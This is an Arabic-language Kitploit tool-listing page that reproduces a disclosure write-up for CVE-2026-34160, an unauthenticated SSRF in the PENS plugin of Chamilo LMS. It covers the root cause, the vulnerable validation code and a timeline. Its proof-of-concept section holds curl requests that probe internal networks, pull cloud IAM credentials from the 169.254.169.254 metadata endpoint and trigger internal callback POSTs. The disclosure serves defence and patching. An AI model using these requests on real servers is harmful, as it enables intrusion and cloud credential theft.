Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-34160 — استغلال SSRF غير مُصادَق عليه لإضافة PENS في Chamilo LMS، يُوضّح متجهين للوصول إلى الشبكات الداخلية وبيانات وصفية للسحابة، مع إثبات مفهوم (PoC) وتحليل السبب الجذري. | Kitploit
أدوات/GitHubGitHub/romain-deperne/cve-2026-34160
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubromain-deperne/cve-2026-34160

CVE-2026-34160

استغلال SSRF غير مُصادَق عليه لإضافة PENS في Chamilo LMS، يُوضّح متجهين للوصول إلى الشبكات الداخلية وبيانات وصفية للسحابة، مع إثبات مفهوم (PoC) وتحليل السبب الجذري.

عرض المستودع
23منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-34160 — SSRF غير مُصادَق عليه في Chamilo LMS عبر إضافة PENS (pens.php)

الخطورة: عالية (CVSS 8.6) CWE: CWE-918 (تزوير الطلبات من جانب الخادم) المتأثر: chamilo/chamilo-lms 2.0-RC.2 تم إصلاحه في: 2.0-RC.3 التنبيه الأمني: GHSA-g2xj-4cch-j276 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160 الفضل: Romain Deperne

باختصار

نقطة نهاية إضافة PENS (خدمات إشعار تبادل الحزم) public/plugin/Pens/pens.php متاحة دون مصادقة وتقبل عناوين URL يتحكم بها المستخدم لكل من تنزيل الحزم وإشعارات الاستدعاء (callback). تتحقق دوال التحقق من صحة URL من المخطط (scheme) ووجود المضيف (host) لكنها لا تُجري أي تصفية لعناوين IP الخاصة، مما يسمح بـ SSRF غير مُصادَق عليه نحو الشبكات الداخلية وخدمات البيانات الوصفية السحابية.

التحليل

بعد CVE-2026-33715، راجعت نقاط نهاية أخرى في Chamilo غير المُصادَق عليها ذات تأثيرات على مستوى الشبكة. تقوم إضافة PENS (public/plugin/Pens/) بجلب الحزم من عناوين URL خارجية وإرسال استدعاءات إلى خوادم خارجية، مما ينشئ سطحَي SSRF.

قرأت PensProcessor.php بحثًا عن منطق التحقق من صحة URL. تتحقق كل من isAllowedDownloadUrl() وisAllowedCallbackUrl() من المخطط (http/https) ومن أن المضيف غير فارغ — وتتوقف عند هذا الحد. لا تصفية وفق RFC 1918، ولا فحص للاسترجاع (loopback)، ولا فحص للعنوان المحلي للرابط (link-local). حتى أن التعليق يقول "returns true" بعد فحص المضيف، مما جعل من الواضح أن هذا كُتب دون مراعاة SSRF.

ما يميز هذا عن CVE السابق في Chamilo: أنه يحتوي على متجهَي SSRF مستقلين — أحدهما لجلب الحزمة (يسحب الخادم ملفًا من URL يتحكم به المهاجم) والآخر للاستدعاءات (يقوم الخادم بإرسال POST إلى نقاط نهاية يتحكم بها المهاجم). متجه الاستدعاء مفيد بشكل خاص لتسريب استجابات الخدمات الداخلية، لأن الخادم سيرسل POST لبيانات حالة PENS إلى أي URL تحدده أنت، وأنت تتحكم في تحليل الاستجابة.

في عمليات النشر السحابية، يمكن الوصول إلى نقطة نهاية البيانات الوصفية 169.254.169.254 عبر كلا المتجهين.

المكوّن المتأثر

الملف: public/plugin/Pens/lib/PensProcessor.php

متجها SSRF متميزان:

المتجه 1 — جلب URL الحزمة (السطور 376، 138):

private function isAllowedDownloadUrl(string $url): bool
{
    $parts = parse_url($url);
    $scheme = strtolower((string) ($parts['scheme'] ?? ''));
    if (!in_array($scheme, ['http', 'https'], true)) { return false; }
    $host = strtolower((string) ($parts['host'] ?? ''));
    if ('' === $host) { return false; }
    return true;  // ← no private IP check
}

// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);

المتجه 2 — SSRF عبر الاستدعاء الراجع (السطر 318): تحدّد المعلمتان receipt وalerts عناوين URL يرسل إليها الخادم استدعاءات راجعة عبر POST — مع غياب التحقق نفسه.

السبب الجذري

تتحقق الدالتان isAllowedDownloadUrl() وisAllowedCallbackUrl() فقط من أن عنوان URL يستخدم مخطط http/https وأن المضيف غير فارغ. تُقبل جميع النطاقات الخاصة وفق RFC 1918 (10.x، 172.16.x، 192.168.x)، والعنوان الراجع (127.x)، والعنوان المحلي للرابط (169.254.x — بيانات وصفية للسحابة)، وما يعادلها من IPv6.

إثبات المفهوم

# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://192.168.1.1:80/" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test-123" \
  -d "client=test" \
  -d "system-user=test"

# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test" \
  -d "client=test" \
  -d "system-user=test"

# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://example.com/legit.zip" \
  -d "receipt=http://10.0.0.50:8080/internal-endpoint" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test" \
  -d "client=test" \
  -d "system-user=test"

التأثير

  1. SSRF إلى الشبكة الداخلية — فحص غير مُصادَق عليه للمضيفين والخدمات الداخلية
  2. استخراج بيانات وصفية من السحابة — في عمليات نشر AWS/GCP/Azure، جلب بيانات اعتماد IAM عبر 169.254.169.254
  3. SSRF عبر الاستدعاء الراجع — إجبار الخادم على إرسال POST إلى نقاط نهاية داخلية عشوائية

ملاحظة: هذا مختلف عن CVE-2022-27426 (SSRF في أدوات social/links) — مسار تعليمات برمجية مختلف، إضافة مختلفة، غير مُصادَق عليه.

الجدول الزمني

  • الاكتشاف: 2026-03-22
  • الإبلاغ: GHSA-g2xj-4cch-j276 (تنبيه خاص)
  • نشر CVE: CVE-2026-34160
تنزيل الأداة